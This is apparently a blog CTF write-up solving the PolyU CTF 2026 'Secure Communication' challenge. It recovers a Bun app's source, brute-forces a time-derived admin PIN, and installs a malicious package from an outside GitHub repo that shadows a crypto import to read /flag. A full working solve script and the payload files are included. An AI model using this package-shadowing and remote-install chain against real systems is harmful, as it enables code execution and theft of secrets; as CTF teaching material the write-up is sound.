[PWN] Secure Communication

Writeups for PolyU CTF 2026 event.

I literally spent about 6 hours on this challenge sob and eventually solved it with my teammates.

View notion version: Notion

0x00 Basic Informations

  • Attachment: chall
1
2
❯ file ./chal
./chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b0ba6747a1f840228cb23022a02690d4b8d1f470, not stripped

first run:

1
2
3
4
5
6
(base) sisubeny@ubuntu:/Users/sisubeny/ctf/puctf/bun$ ./chal
warn: CPU lacks AVX support, strange crashes may occur. Reinstall Bun or use *-baseline build:
  https://github.com/oven-sh/bun/releases/download/bun-v1.3.8/bun-linux-x64-baseline.zip
error: Cannot find module '@std/crypto/crypto' from '/$bunfs/root/index'

Bun v1.3.8 (Linux x64)

as far as we know, this is a bun executable binary, so we can use bun-decompile .

1
2
bun add -g @shepherdjerred/bun-decompile
bun-decompile ./chal -o ./extracted

to extract its source code.

0x01 Extracted

1
2
3
4
5
6
7
8
├── bun.lock
├── chal
├── decompiled
│   ├── node_modules
│   ├── bundled
│   │   └── index.js
│   └── metadata.json
└── package.json

index.js:

  • Click to expand

      1
      2
      3
      4
      5
      6
      7
      8
      9
     10
     11
     12
     13
     14
     15
     16
     17
     18
     19
     20
     21
     22
     23
     24
     25
     26
     27
     28
     29
     30
     31
     32
     33
     34
     35
     36
     37
     38
     39
     40
     41
     42
     43
     44
     45
     46
     47
     48
     49
     50
     51
     52
     53
     54
     55
     56
     57
     58
     59
     60
     61
     62
     63
     64
     65
     66
     67
     68
     69
     70
     71
     72
     73
     74
     75
     76
     77
     78
     79
     80
     81
     82
     83
     84
     85
     86
     87
     88
     89
     90
     91
     92
     93
     94
     95
     96
     97
     98
     99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    
    // @bun
    // cryptoUtils.ts
    import { crypto } from "@std/crypto/crypto";
    var keyPair = null;
    async function generateKeyPair() {
      keyPair = await crypto.subtle.generateKey({
        name: "RSA-OAEP",
        modulusLength: 4096,
        publicExponent: new Uint8Array([1, 0, 1]),
        hash: "SHA-512"
      }, true, ["encrypt", "decrypt"]);
    }
    async function exportKey() {
      if (!keyPair)
        await generateKeyPair();
      const exported = await crypto.subtle.exportKey("spki", keyPair.publicKey);
      const exportedAsString = String.fromCharCode(...new Uint8Array(exported));
      const pemBody = btoa(exportedAsString).match(/.{1,64}/g)?.join(`
    `) || "";
      return pemBody;
    }
    var userKeyPair;
    async function importKey(pem) {
      const pemContents = pem.replace(/\s/g, "");
      const binaryDerString = atob(pemContents);
      const binaryDer = new Uint8Array([...binaryDerString].map((char) => char.charCodeAt(0)));
      userKeyPair = await crypto.subtle.importKey("spki", binaryDer.buffer, {
        name: "RSA-OAEP",
        hash: "SHA-512"
      }, true, ["encrypt"]);
    }
    async function encryptMessage(message) {
      const encoder = new TextEncoder;
      const encrypted = await crypto.subtle.encrypt({
        name: "RSA-OAEP"
      }, userKeyPair, encoder.encode(message));
      return btoa(String.fromCharCode(...new Uint8Array(encrypted)));
    }
    async function decryptMessage(encryptedMessage) {
      const binaryDerString = atob(encryptedMessage);
      const binaryDer = new Uint8Array([...binaryDerString].map((char) => char.charCodeAt(0)));
      const decrypted = await crypto.subtle.decrypt({
        name: "RSA-OAEP"
      }, keyPair.privateKey, binaryDer.buffer);
      const decoder = new TextDecoder;
      return decoder.decode(decrypted);
    }
    
    // db.ts
    import { Database } from "bun:sqlite";
    var db = new Database(":memory:");
    db.run("CREATE TABLE users (id INTEGER PRIMARY KEY, username STRING, pin INTEGER, admin BOOLEAN)");
    var time = Date.now();
    time -= time % 5000;
    var insertUser = db.prepare("INSERT INTO users (username, pin, admin) VALUES (?, ?, ?)");
    insertUser.run("admin", BigInt(time) ** 2n, true);
    async function register(username, pin, admin) {
      const insertUser2 = db.prepare("INSERT INTO users (username, pin, admin) VALUES (?, ?, ?)");
      insertUser2.run(username, pin, false);
    }
    async function checkLogin(username, pin) {
      const getUser = db.prepare("SELECT * FROM users WHERE username = ?");
      const user = getUser.get(username);
      if (!user) {
        return false;
      }
      return user.pin === pin;
    }
    function isAdmin(username) {
      const getUser = db.prepare("SELECT * FROM users WHERE username = ?");
      const user = getUser.get(username);
      if (!user) {
        return false;
      }
      return user.admin;
    }
    if (false) {}
    
    // index.ts
    (async () => {
      console.log("My Public Key:", (await exportKey()).replace(/\s/g, ""));
      process.stdout.write("Your Public Key: ");
      let state = 0;
      let username = "";
      let admin = false;
      for await (const line of console) {
        switch (state) {
          case 0:
            try {
              await importKey(line.trim());
              console.log("Public Key imported successfully.");
              state = 1;
            } catch {
              console.log("Invalid Public Key. Please try again.");
              process.stdout.write("Your Public Key: ");
            }
            break;
          case 1:
            try {
              await decryptMessage(line);
            } catch {
              console.log("Echo:", line);
              continue;
            }
          case 2:
            const decrypted = await decryptMessage(line);
            try {
              const message = Bun.JSON5.parse(decrypted);
              if (message.command === "exit") {
                console.log("Exiting...");
                process.exit(0);
              } else if (message.command === "register") {
                try {
                  if (message.username && message.pin) {
                    await register(message.username, parseInt(message.pin), false);
                    console.log(await encryptMessage(`Registered user: ${message.username}`));
                  } else {
                    console.log(await encryptMessage("Missing username or pin"));
                  }
                } catch {
                  console.log(await encryptMessage("Registration Error"));
                }
              } else if (message.command === "login") {
                try {
                  if (message.username && message.pin) {
                    const success = await checkLogin(message.username, parseInt(message.pin));
                    if (success) {
                      username = message.username;
                      admin = await isAdmin(username);
                      console.log(await encryptMessage(`Login successful. Welcome, ${username}!`));
                    } else {
                      console.log(await encryptMessage("Login failed. Invalid credentials."));
                    }
                  } else {
                    console.log(await encryptMessage("Missing username or pin"));
                  }
                } catch {
                  console.log(await encryptMessage("Login Error"));
                }
              } else if (message.command === "ping") {
                if (username) {
                  if (message.ip) {
                    try {
                      const ping = Bun.spawnSync({
                        cmd: ["ping", "-c", "1", message.ip],
                        stdout: "pipe",
                        stderr: "pipe"
                      });
                      if (ping.exitCode === 0) {
                        for (const line2 of ping.stdout.toString().split(`
    `)) {
                          console.log(await encryptMessage(line2));
                        }
                      } else {
                        for (const line2 of ping.stderr.toString().split(`
    `)) {
                          console.log(await encryptMessage(line2));
                        }
                      }
                    } catch {
                      console.log(await encryptMessage("Ping Command Error"));
                    }
                  } else {
                    console.log(await encryptMessage("Missing IP address"));
                  }
                } else {
                  console.log(await encryptMessage("Please login first."));
                }
              } else if (message.command === "install") {
                if (!username) {
                  console.log(await encryptMessage("Please login first."));
                } else if (!admin) {
                  console.log(await encryptMessage("Admin privileges required."));
                } else {
                  if (message.package) {
                    const install = Bun.spawnSync({
                      cmd: ["bun", "add", "--no-save", "--no-cache", message.package],
                      stdout: "pipe",
                      stderr: "pipe"
                    });
                    if (install.exitCode === 0) {
                      console.log(await encryptMessage(`Package ${message.package} installed successfully.`));
                    } else {
                      console.log(await encryptMessage("Install Error"));
                    }
                  } else {
                    console.log(await encryptMessage("Missing package name"));
                  }
                }
              } else {
                console.log(await encryptMessage("Unknown command"));
              }
            } catch {
              console.log("JSON Parse Error");
            }
            break;
        }
      }
    })();
    

Notice that the admin PIN is derived from the service startup time rounded down to a 5-second bucket and the PIN is inserted into SQLite as BigInt(time) ** 2n, which gets truncated to a signed 64-bit integer.

1
2
3
4
5
6
7
8
var db = new Database(":memory:");
db.run("CREATE TABLE users (id INTEGER PRIMARY KEY, username STRING, pin INTEGER, admin BOOLEAN)");

var time = Date.now();
time -= time % 5000;

var insertUser = db.prepare("INSERT INTO users (username, pin, admin) VALUES (?, ?, ?)");
insertUser.run("admin", BigInt(time) ** 2n, true);

Login compares against the stored SQLite integer:

1
2
3
4
5
6
async function checkLogin(username, pin) {
  const getUser = db.prepare("SELECT * FROM users WHERE username = ?");
  const user = getUser.get(username);
  if (!user) return false;
  return user.pin === pin;
}

Once we get admin primitive we can install a controllable Bun package:

1
2
3
4
5
const install = Bun.spawnSync({
  cmd: ["bun", "add", "--no-save", "--no-cache", message.package],
  stdout: "pipe",
  stderr: "pipe"
});

Beside, the server-side source code also have this import:

1
import { crypto } from "@std/crypto/crypto";

0x02 Handshake

The service wraps commands in RSA-OAEP with SHA-512. To talk to it normally:

  1. Read the server public key from My Public Key: ...

  2. Send your own public key at Your Public Key:

  3. Encrypt JSON messages to the server public key

  4. Decrypt responses with your private key

1
2
3
var time = Date.now();
time -= time % 5000;
insertUser.run("admin", BigInt(time) ** 2n, true);

So if the service started at start_ms, the value used is:

1
2
bucket = start_ms - (start_ms % 5000)
raw_pin = bucket^2

But SQLite stores INTEGER as signed 64-bit, so the actual stored value is:

1
pin = i64(raw_pin)

= Python code

1
2
3
4
5
def i64_square(bucket_ms: int) -> int:
    x = (bucket_ms * bucket_ms) & ((1 << 64) - 1)
    if x >= (1 << 63):
        x -= (1 << 63) * 2
    return x

Since the startup time is close to the time the instance becomes reachable, brute-forcing nearby 5-second buckets is enough.

0x03 Login

client send:

1
{"command":"login","username":"admin","pin":"<wrapped signed 64-bit pin>"}

Once the guessed bucket is correct, the service replies with:

1
Login successful. Welcome, admin!

0x04 Construct the malicious Bun package

1
2
3
├── crypto.js
├── mod.js
└── package.json

crypto.js

1
2
3
import { readFileSync } from "node:fs";
try { console.log("FLAG:" + readFileSync("/flag", "utf8").trim()); } catch {}
export const crypto = globalThis.crypto;

mod.js

1
export { crypto } from "./crypto.js";

package.json

1
2
3
4
5
6
7
8
9
{
  "name": "@std/crypto/",
  "version": "6.7",
  "type": "module",
  "exports": {
    ".": {"default": "./mod.js"},
    "./crypto": {"default": "./crypto.js"}
  }
}

and push to git repo in order to install the malicious package on server-side

https://github.com/SISUBEN/secure-communication-payload

0x05 RCE

The admin-only install command runs:

1
bun add --no-save --no-cache <package>

The validated local exploit does not rely on postinstall. Instead, it installs a replacement package for @std/crypto:

1
DEFAULT_PKG = "@std/crypto@github:SISUBEN/[secure-communication-payload](https://github.com/SISUBEN/secure-communication-payload)"

The service binary contains:

1
import { crypto } from "@std/crypto/crypto";

And the local payload exports that path while executing a top-level side effect:

1
2
3
import { readFileSync } from "node:fs";
try { console.log("FLAG:" + readFileSync("/flag", "utf8").trim()); } catch {}
export const crypto = globalThis.crypto;

Then client send

1
{"command":"install","package":"@std/crypto@github:SISUBEN/secure-communication-payload"}

In the exploit, the follow-up trigger is a ping command after installation. That second step is important: installation alone is not the whole exploit; the malicious module must also be imported by the service.

0x06 Exploit chain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
flowchart TD
    A["Reverse `chal` binary"] --> B["Recover embedded Bun/TypeScript logic"]
    B --> C["Admin PIN seed = `Date.now()`"]
    C --> D["Round down to 5-second bucket<br/>`time -= time % 5000`"]
    D --> E["Compute raw PIN<br/>`BigInt(time) ** 2n`"]
    E --> F["Stored in SQLite `INTEGER`"]
    F --> G["SQLite truncates to signed int64"]
    G --> H["Actual admin PIN = wrapped int64 value"]

    H --> I["Estimate service startup time"]
    I --> J["Bruteforce nearby 5-second buckets"]
    J --> K["Compute wrapped int64 PIN for each candidate"]
    K --> L["Login as `admin`"]
    L --> M{"Login successful?"}
    M -- "No" --> J
    M -- "Yes" --> N["Gain admin-only command access"]

    N --> O["Use `install` command"]
    O --> P["Service runs:<br/>`bun add --no-save --no-cache <package>`"]
    P --> Q["Install attacker-controlled package"]
    Q --> R["Package shadows `@std/crypto/crypto`"]

    R --> S["Malicious module has import-time side effect"]
    S --> T["Top-level code reads `/flag`"]
    T --> U["Top-level code prints or exfiltrates flag"]

    N --> V["Trigger another service action"]
    V --> W["Send `ping` command"]
    W --> X["Service re-enters code path importing<br/>`@std/crypto/crypto`"]

    X --> R
    X --> Y["Malicious module gets loaded"]
    Y --> U
    U --> Z["Flag disclosed"]

    subgraph Normal Channel
        NC1["Handshake uses RSA-OAEP + SHA-512"]
    end

    subgraph Validated Local Payload
        LP1["Install spec:<br/>`@std/crypto@github:SISUBEN/seccom-payload`"]
        LP2["Payload exports `crypto` and runs code at module import"]
    end

    Q --> LP1
    S --> LP2

0x07 Solve script

  • Click to expand

      1
      2
      3
      4
      5
      6
      7
      8
      9
     10
     11
     12
     13
     14
     15
     16
     17
     18
     19
     20
     21
     22
     23
     24
     25
     26
     27
     28
     29
     30
     31
     32
     33
     34
     35
     36
     37
     38
     39
     40
     41
     42
     43
     44
     45
     46
     47
     48
     49
     50
     51
     52
     53
     54
     55
     56
     57
     58
     59
     60
     61
     62
     63
     64
     65
     66
     67
     68
     69
     70
     71
     72
     73
     74
     75
     76
     77
     78
     79
     80
     81
     82
     83
     84
     85
     86
     87
     88
     89
     90
     91
     92
     93
     94
     95
     96
     97
     98
     99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    
    import argparse
    import base64
    import json
    import select
    import time
    from datetime import datetime, timezone
    from typing import cast
    
    from cryptography.hazmat.backends import default_backend
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey
    from cryptography.hazmat.primitives.asymmetric import padding, rsa
    from pwn import context, remote
    
    HOST = "chal.polyuctf.com"
    PORT = 36013
    DEFAULT_PKG = "@std/crypto@github:SISUBEN/secure-communication-payload"
    
    context.log_level = "info"
    
    def generate_keypair():
        private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048,
            backend=default_backend(),
        )
        public_key = private_key.public_key()
        pub_pem = public_key.public_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PublicFormat.SubjectPublicKeyInfo,
        )
        return private_key, pub_pem
    
    def encrypt_message(server_pub_key_pem, message):
        server_pub_key = cast(RSAPublicKey, serialization.load_pem_public_key(
            server_pub_key_pem,
            backend=default_backend(),
        ))
        ciphertext = server_pub_key.encrypt(
            message.encode("utf-8"),
            padding.OAEP(
                mgf=padding.MGF1(algorithm=hashes.SHA512()),
                algorithm=hashes.SHA512(),
                label=None,
            ),
        )
        return base64.b64encode(ciphertext).decode("utf-8")
    
    def decrypt_message(private_key, ciphertext_b64):
        try:
            ciphertext = base64.b64decode(ciphertext_b64)
            plaintext = private_key.decrypt(
                ciphertext,
                padding.OAEP(
                    mgf=padding.MGF1(algorithm=hashes.SHA512()),
                    algorithm=hashes.SHA512(),
                    label=None,
                ),
            )
            return plaintext.decode("utf-8")
        except Exception as exc:
            return f"[Decryption Error] {exc}"
    
    def drain_pending_lines(conn):
        fd = conn.sock.fileno()
        while True:
            ready, _, _ = select.select([fd], [], [], 0)
            if not ready:
                break
            line = conn.recvline(timeout=0.01)
            if not line:
                break
    
    def send_json_command(conn, server_key_pem, private_key, obj, first_timeout=1.0, idle_timeout=0.2):
        drain_pending_lines(conn)
        enc = encrypt_message(server_key_pem, json.dumps(obj))
        conn.sendline(enc.encode())
    
        responses = []
        fd = conn.sock.fileno()
        while True:
            timeout = first_timeout if not responses else idle_timeout
            ready, _, _ = select.select([fd], [], [], timeout)
            if not ready:
                break
            line = conn.recvline(timeout=idle_timeout)
            if not line:
                break
            responses.append(decrypt_message(private_key, line.strip()))
        return responses
    
    def parse_start_ms(value):
        if value is None:
            return None
        value = value.strip()
        if not value:
            return None
        if value.isdigit():
            return int(value)
        if value.endswith("Z"):
            value = value[:-1] + "+00:00"
        dt = datetime.fromisoformat(value)
        if dt.tzinfo is None:
            dt = dt.replace(tzinfo=timezone.utc)
        return int(dt.timestamp() * 1000)
    
    def bruteforce_admin_pin(conn, server_key_pem, private_key, center_bucket, bucket_window):
        for i in range(-bucket_window, bucket_window + 1):
            t = center_bucket + i * 5000
    
            # Feasible path only: SQLite INTEGER stores signed int64, so the admin
            # BigInt square must be matched via int64 wrap-around.
            raw_square = t * t
            pin_s64 = (raw_square + 2**63) % (2**64) - 2**63
    
            responses = send_json_command(
                conn,
                server_key_pem,
                private_key,
                {"command": "login", "username": "admin", "pin": str(pin_s64)},
                first_timeout=1.0,
                idle_timeout=0.1,
            )
            text = "\n".join(responses)
            if "Login successful" in text:
                return t, pin_s64
    
        return None, None
    
    def main():
        parser = argparse.ArgumentParser(description="Exploit pwn2 using the only validated path.")
        parser.add_argument("--host", default=HOST)
        parser.add_argument("--port", type=int, default=PORT)
        parser.add_argument("--bucket-window", type=int, default=25)
        parser.add_argument("--start-ms", help="Known service start time in ms or ISO-8601")
        parser.add_argument("--install", default=DEFAULT_PKG, help="Package spec to install after admin login")
        parser.add_argument("--ping-ip", default="127.0.0.1", help="IP to pass to ping command")
        args = parser.parse_args()
    
        private_key, pub_pem = generate_keypair()
        conn = remote(args.host, args.port)
    
        conn.recvuntil(b"My Public Key: ")
        server_key_b64 = conn.recvline().strip()
        server_key_pem = b"-----BEGIN PUBLIC KEY-----\n" + server_key_b64 + b"\n-----END PUBLIC KEY-----"
    
        conn.recvuntil(b"Your Public Key: ")
        pub_body = (
            pub_pem
            .replace(b"-----BEGIN PUBLIC KEY-----\n", b"")
            .replace(b"\n-----END PUBLIC KEY-----\n", b"")
            .replace(b"\n", b"")
        )
        conn.sendline(pub_body)
        conn.recvuntil(b"Public Key imported successfully.")
        print("[+] Handshake complete")
    
        if args.start_ms:
            start_ms = parse_start_ms(args.start_ms)
            if start_ms is None:
                raise ValueError("Invalid --start-ms value")
            center_bucket = start_ms - (start_ms % 5000)
        else:
            now_ms = int(time.time() * 1000)
            center_bucket = now_ms - (now_ms % 5000)
    
        login_time, admin_pin = bruteforce_admin_pin(
            conn,
            server_key_pem,
            private_key,
            center_bucket,
            args.bucket_window,
        )
        if admin_pin is None:
            print("[-] Admin PIN brute force failed")
            return
    
        print("[+] ADMIN LOGIN SUCCESSFUL")
        print(f"    bucket_time = {login_time}")
        print(f"    pin(int64)  = {admin_pin}")
    
        install_resp = send_json_command(
            conn,
            server_key_pem,
            private_key,
            {"command": "install", "package": args.install},
            first_timeout=20.0,
            idle_timeout=1.0,
        )
        print("[+] install response:")
        if install_resp:
            for line in install_resp:
                print(f"    {line}")
        else:
            print("    [No response]")
    
        ping_resp = send_json_command(
            conn,
            server_key_pem,
            private_key,
            {"command": "ping", "ip": args.ping_ip},
            first_timeout=5.0,
            idle_timeout=1.0,
        )
        print("[+] ping response:")
        if ping_resp:
            for line in ping_resp:
                print(f"    {line}")
        else:
            print("    [No response]")
    
    if __name__ == "__main__":
        main()
    

0x08 Flow

  1. Run the solve script

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    
    $ python .\solve.py
    [x] Opening connection to chal.polyuctf.com on port 36060
    [x] Opening connection to chal.polyuctf.com on port 36060: Trying 158.132.12.250
    [+] Opening connection to chal.polyuctf.com on port 36060: Done
    [+] Handshake complete
    [+] ADMIN LOGIN SUCCESSFUL
        bucket_time = 1773474050000
        pin(int64)  = 3447967776530368768
    [+] install response:
        Package @std/crypto@github:SISUBEN/secure-communication-payload installed successfully.
    [+] ping response:
        ping: socktype: SOCK_RAW
    [*] Closed connection to chal.polyuctf.com port 36060
    

    *the malicious package has been installed

  2. Connect the instance by nc

    1
    2
    3
    4
    
    $ nc chal.polyuctf.com 36060
    FLAG:PUCTF26{b0n_i5_f0n_w1t2_s3l7t5_BYnpnU0tZglOOt8BqBVfGrN5x0iCirVb}
    My Public Key: MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAytqldqsBWbQKZaoIuwsRcQJOGrzsjvgsRx3TCKDH4I9EA8v25ZI7q42iCF+E9qB9Xa4SitmDTOu8A/YXaA5Ii+RZZEY2Pz28/rPWLZfgiWDEpbAbzh4O4CafFPKgA4jLmACZXdZm5BveiaXghdfHF1wBO159EDCX7W8BR9pBkyqm3w0orjlz7deHE1HDNa61U3AlnEQHlXMmJdEY/JBFED0MLrsq0HNckOSL86NJPJTISLysO1D+c9vMIzU+WHkAgONWNwP/DW5Gy05V/a2Dy3eE+VKS+g1XnmCH5dQAjZl3DYhA4BSgUjJpzClU4tf6CPTMSaeCjXu1H7ISMSOyaTmKxah0DIoHtNGjhO68LaOY/vNymiMe8oT4mtsusBZTsIMf4EaXzXe0poy/RfbmoxJPLkftPrL1wFLk5Cx8LbgIm3hgszBBzr3VbAy3fvGq9ywJhF6eppDjN0BrzIfJCMBbgZPLgGj65q4iYKo8ZjexBZ/lpF8G93iLNSbOzqFJuwnG0dkz4K3fsX1MOyn2tCa8ICgHfJM1rgisf1ZogO61T3GeiI3i36/Bldz+L4rxzCbsAlFkify2GPmE1hy2pFMb878qGc1xvnuBPzvW62HDRHfsgUfw6Fe6UjmO2SY4jd9YKfnY6gs+8Ssn2uSb9o1CceLO5zf/XJCgREv8+kMCAwEAAQ==
    Your Public Key:
    

    *the malicious executed successfully

0x09 Flag

1
PUCTF26{b0n_i5_f0n_w1t2_s3l7t5_BYnpnU0tZglOOt8BqBVfGrN5x0iCirVb}
Built with Hugo
Theme Stack designed by Jimmy